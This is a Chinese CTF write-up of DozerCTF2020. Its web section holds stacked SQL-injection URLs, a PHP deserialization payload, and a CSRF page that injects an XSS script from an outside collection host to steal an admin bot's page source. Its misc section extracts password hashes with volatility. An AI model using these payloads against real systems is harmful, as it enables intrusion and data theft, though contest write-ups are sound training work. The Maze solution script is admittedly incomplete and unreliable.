Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2020年6月16日2020年9月12日

DozerCTF2020 Write up

Web

sqli-labs 0

hint:会不会是url二次编码

需要url二次编码,而且select试了一下没办法bypass,采用堆叠注入

查看库名

http://118.31.11.216:30501/?id=1%2527%253bshow%2520databases%253b

查看表

http://118.31.11.216:30501/?id=1%2527%253bshow%2520tables%253b

查看列

http://118.31.11.216:30501/?id=1%2527%253bshow%2520columns%2520from%2520%2560uziuzi%2560%25253b

通过预处理语句查看uziuzi

http://118.31.11.216:30501/?id=1%2527%253bSeT%2520%2540a%253d0x73656c656374202a2066726f6d20757a69757a69%253bprepare%2520execsql%2520from%2520%2540a%253bexecute%2520execsql%253b%2523

0x73656c656374202a2066726f6d20757a69757a69为select * from uziuzi

白给的反序列化

waf没什么用,直接读就行了

this->method='mysys'调用call_user_func_array来cat flag.php

<?php
class home
{
    private $method='mysys';
    private $args=array("flag.php");
}
$a = new home();
echo urlencode(serialize($a));
?>

Payload

http://118.31.11.216:30600/?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

fake phpminiadmin

一开始一直在打cookie,打完了发现并没有什么用,只能本地访问

找了找发现是阉割版的巅峰极客-Online Mysql Run

xss platform新建一个项目,选择获取页面源码模块

vps上挂一个html页面,整上一个csrf

<html>
  <div>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/sql.php" name = 'form1' method="POST">
      <input type="hidden" name="sql" value="select 0x3c2f74457874417245613e27223e3c734352695074207352433d2f2f78737368732e636e2f7564734e3e3c2f7343724970543e" />
      <input type="submit" value="Submit request" />
    </form>
  <script type="text/javascript">
    setTimeout("form1.submit();",10);
</script>
  </div>
</div>

其中value的值为</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/udsN></sCrIpT>,也就是生成的恶意代码。

然后在content处写入我们html页面的url,开启监听nc -lvvp 2333

这里还有一个md5验证码爆破,附上脚本

import hashlib

for i in range(1, 10000001):
    s = hashlib.md5(str(i)).hexdigest()[0:6]
    if s == "251aaf":
        print(i)
        break

提交了之后管理机器人就上钩了,xss平台接受到页面源码

不知道为什么之前直接接收,code处是空的,从vps上进行csrf就有了

Re

re手在忙开发,今天就要交付,没有时间写wp。以下内容是我一个web手根据他的QQ口述整理的。。。。。。。。我裂开,真的看不懂啊。。。饶了dd好吗

貌似有些不对

拖进ida,搜索字符串,发现变码base64,还有一个疑似base64的字符串,还有培根加密的内容。

讲字符串使用软件进行解码,然后发现解码内容是flag加密后的参数,看起来比较简单,是栅栏加密,自动解密即可

base64(换表)+栅栏密码(4位)(也不知道培根密码用来干啥了),ida没保存,就这样吧。

Maze

A B B B B B B B B B B B 
A B B A A A B B B B B B 
A B B A B A A A B B A A 
A B B A B A B A B B B A 
A A A A B A B A B B B A 
B B B B B A B B B A A A 
B A A A A A B B B A B B 
B A B B B B B A A A A A 
B A A A A A B A B B A B 
B B B A B A B A B B A B 
B B B B B A B A B B A B 
B B B A A A A A B B A E

地图,需要注意的是,当执行WSAD时,会对操作表进行更改。 具体的脚本在线执行的,现在已经找不到了。

c=["W","S","A","D"]

a=[SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD] def f0(): def f1(): def f2(): def f3(): #具体的是些c表的换的操作,不写了

for i in a:
    if i=="W":
        print c[0]
        f0()
    if i=="A":
        print c[1]
        f1()
    if i=="S":
        print c[1]
        f2()
    if i=="D":
        print c[1]
        f3()

VM

VM的handel不难,我写出来如下

push 80 
push 123 
push 102 
push 113 
push 94 
push 79 
push 96 
push 114 
push 103 
push 80 
push 123 
push 102 
push 113 
push 94 
push 75 
push 66 
push 89 
push 75 
push 117 
push 95 
push 75 
push 95 
push 123 
push 75 
push 113 
push 109 
push 95 
push 101 
push 45 
push 105 

MOV REG1 64 
MOV REG2 30 
GET 50013 
LOAD REG1 0 
LOAD REG2 64 
XOR REG1 REG2 
CHECK 
LOAD REG1 1 
LOAD REG2 65 
XOR REG1 REG2 
CHECK 
LOAD REG1 2 
LOAD REG2 66 
XOR REG1 REG2 
CHECK 
LOAD REG1 3 
LOAD REG2 67 
XOR REG1 REG2 
CHECK 
LOAD REG1 4 
LOAD REG2 68 
XOR REG1 REG2 
CHECK 
LOAD REG1 5 
LOAD REG2 69 
XOR REG1 REG2 
CHECK 
LOAD REG1 6 
LOAD REG2 70 
XOR REG1 REG2 
CHECK 
LOAD REG1 7 
LOAD REG2 71 
XOR REG1 REG2 
CHECK 
LOAD REG1 8 
LOAD REG2 72 
XOR REG1 REG2 
CHECK 
LOAD REG1 9 
LOAD REG2 73 
XOR REG1 REG2 
CHECK 
LOAD REG1 10 
LOAD REG2 74 
XOR REG1 REG2 
CHECK 
LOAD REG1 11 
LOAD REG2 75 
XOR REG1 REG2 
CHECK 
LOAD REG1 12 
LOAD REG2 76 
XOR REG1 REG2 
CHECK 
LOAD REG1 13 
LOAD REG2 77 
XOR REG1 REG2 
CHECK 
LOAD REG1 14 
LOAD REG2 78 
XOR REG1 REG2 
CHECK 
LOAD REG1 15 
LOAD REG2 79 
XOR REG1 REG2 
CHECK 
LOAD REG1 16 
LOAD REG2 80 
XOR REG1 REG2 
CHECK 
LOAD REG1 17 
LOAD REG2 81 
XOR REG1 REG2 
CHECK 
LOAD REG1 18 
LOAD REG2 82 
XOR REG1 REG2 
CHECK 
LOAD REG1 19 
LOAD REG2 83 
XOR REG1 REG2 
CHECK 
LOAD REG1 20 
LOAD REG2 84 
XOR REG1 REG2 
CHECK 
LOAD REG1 21 
LOAD REG2 85 
XOR REG1 REG2 
CHECK 
LOAD REG1 22 
LOAD REG2 86 
XOR REG1 REG2 
CHECK 
LOAD REG1 23 
LOAD REG2 87 
XOR REG1 REG2 
CHECK 
LOAD REG1 24 
LOAD REG2 88 
XOR REG1 REG2 
CHECK 
LOAD REG1 25 
LOAD REG2 89 
XOR REG1 REG2 
CHECK 
LOAD REG1 26 
LOAD REG2 90 
XOR REG1 REG2 
CHECK 
LOAD REG1 27 
LOAD REG2 91 
XOR REG1 REG2 
CHECK 
LOAD REG1 28 
LOAD REG2 92 
XOR REG1 REG2 
CHECK 
LOAD REG1 29 
LOAD REG2 93 
XOR REG1 REG2 
CHECK 
50009 0 0 0

我写的指令解释: push 入栈 xor 异或 mov 赋值 load 内存中的值赋给寄存器 check 检测xor结果,相同继续,不同结束。 获取一次输入,对输入的每位进行(x^10)-4的操作,与栈中的数据进行比较(xor)。 RE1,MAZE,REVM是名字

MISC

easy-analysis

由题目memory想到了用volatility进行内存取证

  1. 正常的:判断镜像信息,获取操作系统类型
volatility -f memory imageinfo
  1. 发现是Win7SP1x64,扫一下cmd
volatility -f memory --profile=Win7SP1x64 cmdscan

查到一条cd Desaktop/flag

  1. 确定flag所在缓存地址
volatility -f memory --profile=Win7SP1x64 filescan | grep "flag"

得到0x000000001e85f430,再dump下来,改成zip包,提示password:log in my computer

  1. 抓一下sam,从内存得到hash.txt
volatility hashdump -f memory --profile=Win7SP1x64 -y 0xfffff8a000024010 -s 0xfffff8a00167a010 > hash.txt

在线破解得到密码:AaBbCc123,得到usb.pcap和flag.zip

5.键盘流量分析,knm工具:

import sys,os
normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
VERSION = 0.1

def start():
    if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) < 2:
        print('''
        usage:python(3) knm.py <cmd> [arg] [opts]
        cmds:
            keyboard (<datafile>) <outfile>
            mouse (<datafile>) <outfile>
            pca <pcadile>(<outfile>)    转换pca的USB流量为data(文件)
            -v          version
        ''')
        exit(1)
    cmd = sys.argv[1]
    if cmd != 'keyboard' and cmd != 'k' and cmd != 'mouse' and cmd != 'm' and cmd != 'pca' and cmd != 'p' and cmd != '-v':
        print("Wrong cmd")
        exit(1)
    if '-v' in sys.argv:
        print('version:'+str(VERSION))
        exit(1)
    if 'pca' in sys.argv or 'p' in sys.argv:
        if 'pca' in sys.argv:
            p = sys.argv.index('pca')
        elif 'p' in sys.argv:
            p = sys.argv.index('p')
        if len(sys.argv) <= p+1:
            print('Missing pca file for pca')
            exit(1)
        pca = str(sys.argv[p+1])
        if len(sys.argv) == p+3:
            os.popen('tshark -r ' + pca + ' -T fields -e usb.capdata > ' + sys.argv[p+2])
            exit(1)
        # elif len(sys.argv) == p+2:
        #     data = os.popen('tshark -r ' + pca + ' -T fields -e usb.capdata').read()
        #     if 'keyboard' in sys.argv or 'k' in sys.argv:
        #         if 'keyboard' in sys.argv:
        #             p = sys.argv.index('keyboard')
        #         elif 'k' in sys.argv:
        #             p = sys.argv.index('k')
        #         if len(sys.argv) <= p + 1:
        #             print('Missing file for keyboard')
        #             exit(1)
        #         output = []
        #         f2 = open(sys.argv[p + 2], 'a')
        #         for line in data:
        #             if ':' not in line:
        #                 for i in range(0, len(line)-1, 2):
        #                     if i + 2 != len(line):
        #                         out += line[i] + line[i + 1] + ":"
        #                     else:
        #                         out += line[i] + line[i + 1]
        #             else:
        #                 out = line
        #             try:
        #                 if out[0] != '0' or (out[1] != '0' and out[1] != '2') or out[3] != '0' or out[4] != '0' or out[
        #                     9] != '0' or out[10] != '0' or out[12] != '0' or out[13] != '0' or out[15] != '0' or out[
        #                     16] != '0' or out[18] != '0' or out[19] != '0' or out[21] != '0' or out[22] != '0' or out[
        #                                                                                                           6:8] == "00":
        #                     continue
        #                 if out[6:8] in normalKeys.keys():
        #                     output += [[normalKeys[out[6:8]]], [shiftKeys[out[6:8]]]][out[1] == '2']
        #                 else:
        #                     output += ['[unknown]']
        #             except:
        #                 pass
        #         for data in output:
        #             f2.write(data)
        #         f2.close()
        #         exit(1)
        else:
            print('Missing pca file for pca')
            exit(1)

            if 'mouse' in sys.argv or 'm' in sys.argv:
                if 'mouse' in sys.argv:
                    p = sys.argv.index('mouse')
                else:
                    p = sys.argv.index('m')
                if len(sys.argv) <= p + 1:
                    print('Missing file for mouse')
                    exit(1)
                keys = data
                f = open(sys.argv[p + 2], 'w')
                posx = 0
                posy = 0
                for line in keys:
                    if ':' not in line:
                        out = ''
                        for i in range(0, len(line)-1, 2):
                            if i + 2 != len(line):
                                out += line[i] + line[i + 1] + ":"
                            else:
                                out += line[i] + line[i + 1]
                    else:
                        out = line
                    line = out[:12]
                    x = int(line[3:5], 16)
                    y = int(line[6:8], 16)
                    if x > 127:
                        x -= 256
                    if y > 127:
                        y -= 256
                    posx += x
                    posy += y
                    btn_flag = int(line[0:2], 16)
                    if btn_flag == 1:
                        f.write(str(posx))
                        f.write(' ')
                        f.write(str(posy))
                        f.write('\n')
                f.close()
                exit(1)

    if 'keyboard' in sys.argv or 'k' in sys.argv:
        if 'keyboard' in sys.argv:
            p = sys.argv.index('keyboard')
        elif 'k' in sys.argv:
            p = sys.argv.index('k')
        if len(sys.argv) <= p + 2:
            print('Missing file for keyboard')
            exit(1)
        output = []
        f1 = open(sys.argv[p+1],'r').readlines()
        f2 = open(sys.argv[p+2],'a')
        for line in f1:
            if ':' not in line:
                out = ''
                for i in range(0, len(line)-1, 2):
                    if i + 2 != len(line):
                        out += line[i] + line[i + 1] + ":"
                    else:
                        out += line[i] + line[i + 1]
            else:
                out = line
            try:
                if out[0] != '0' or (out[1] != '0' and out[1] != '2') or out[3] != '0' or out[4] != '0' or out[
                    9] != '0' or out[10] != '0' or out[12] != '0' or out[13] != '0' or out[15] != '0' or out[
                    16] != '0' or out[18] != '0' or out[19] != '0' or out[21] != '0' or out[22] != '0' or out[                                                                                      6:8] == "00":
                    continue
                if out[6:8] in normalKeys.keys():
                    output += [[normalKeys[out[6:8]]], [shiftKeys[out[6:8]]]][out[1] == '2']
                else:
                    output += ['[unknown]']
            except:
                pass
        for data in output:
            f2.write(data)
        f2.close()
        exit(1)

    if 'mouse' in sys.argv or 'm' in sys.argv:
        if 'mouse' in sys.argv:
            p = sys.argv.index('mouse')
        elif 'm' in sys.argv:
            p = sys.argv.index('m')
        if len(sys.argv) <= p + 2:
            print('Missing file for mouse')
            exit(1)
        keys = open(sys.argv[p+1],'r').readlines()
        f = open(sys.argv[p+2],'w')
        posx = 0
        posy = 0
        for line in keys:
            if ':' not in line:
                out = ''
                for i in range(0, len(line)-1, 2):
                    if i + 2 != len(line):
                        out += line[i] + line[i + 1] + ":"
                    else:
                        out += line[i] + line[i + 1]
            else:
                out = line
            line = out[:12]
            x = int(line[3:5], 16)
            y = int(line[6:8], 16)
            if x > 127:
                x -= 256
            if y > 127:
                y -= 256
            posx += x
            posy += y
            btn_flag = int(line[0:2], 16)
            if btn_flag == 1:
                f.write(str(posx))
                f.write(' ')
                f.write(str(posy))
                f.write('\n')
        f.close()
        exit(1)

if __name__ == '__main__':
    start()

直接导入pcap格式,得到字符串:

<GA><GA><DEL><DEL><DEL><DEL><RET><RET>A<RET><CAP>uto<SPACE>key<DEL><DEL><DEL><DEL>key<SPACE><SPACE>ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo<DEL>o<SPACE><SPACE><SPACE><SPACE>good<SPACE>luck<SPACE>
output :<RET><RET>A<RET>UTOKEY<SPACE><SPACE>YLLTMFTNXBKGVCYYDBUHDLCPSPSPTSWRMWJJMNJGTYLKEGITTOIBGO<SPACE><SPACE><SPACE><SPACE>GOOD<SPACE>LUC

用Autosolve(Without Key)解密

yrz you find the key the key for zip is this keyboard sucks for you

口味挺重啊,suck my ()

之后就是base64隐写网上嫖脚本一把梭:

import base64

def get_base64_diff_value(s1, s2):
    """get base64 diff value"""
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    for i in range(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return 0

def solve_stego(stego_str_list):
    '''stego_str_list str列表'''
    bin_str = ''
    for stego_str in stego_str_list:
        stego_str = stego_str.replace('\n', '')
        norm_str = base64.b64encode(base64.b64decode(stego_str)).decode()
        diff = get_base64_diff_value(stego_str, norm_str)
        pads_num = stego_str.count('=')
        bin_str += bin(diff)[2:].zfill(pads_num * 2)

    ret = b''
    for i in range(0, len(bin_str), 8):
        ret += int(bin_str[i:i + 8], 2).to_bytes(1, 'little')
    return ret

def to_stego(normal_data, stego_data, stego_bit_len=4):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    bin_str = ''
    for each in stego_data:
        bin_str += bin(each)[2:].zfill(8)
    line_len = len(normal_data) // (len(bin_str) // stego_bit_len)
    if stego_bit_len == 4:
        line_len = line_len - ((line_len % 3 - 1) + 3) % 3 # 令 line_len % 3 = 1 右边建立了一个 0 1 2 -> 2 0 1 的映射
    else:
        line_len = line_len - ((line_len % 3 - 2) + 3) % 3 # 令 line_len % 3 = 2 右边建立了一个 0 1 2 -> 1 2 0 的映射
    if line_len <= 0:
        return []
    ret = []
    index = 0
    while True:
        if index >= len(normal_data):
            break
        encode_str = base64.b64encode(normal_data[index:index + line_len]).decode()
        # print('index=%d bin_str=%s' % (index, bin_str))
        index += line_len
        # print(encode_str)
        if bin_str != '':
            if stego_bit_len == 4:
                now_encode = bin_str[:4]
                bin_str = bin_str[4:]
            tmp_list = encode_str.rpartition(encode_str[-1 * (stego_bit_len // 2 + 1)])
            encode_str = tmp_list[0] + base64chars[base64chars.index(tmp_list[1]) + int(now_encode, 2)] + tmp_list[2]
        ret.append(encode_str)
    return ret

def main():
    with open('flag.txt', 'rb') as fp:
        file_lines = fp.readlines()
    stego_str_list = []
    for each in file_lines:
        stego_str_list.append(each.decode().replace('\n', ''))
    print(solve_stego(stego_str_list))

    l = to_stego(b'123456789012345678901234567890123456', b'cnss', 4)
    print(l)
    print(solve_stego(l))

if __name__ == '__main__': 
    main()

Crypto

签到

没啥好说的,base64+base32+base16+base58

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!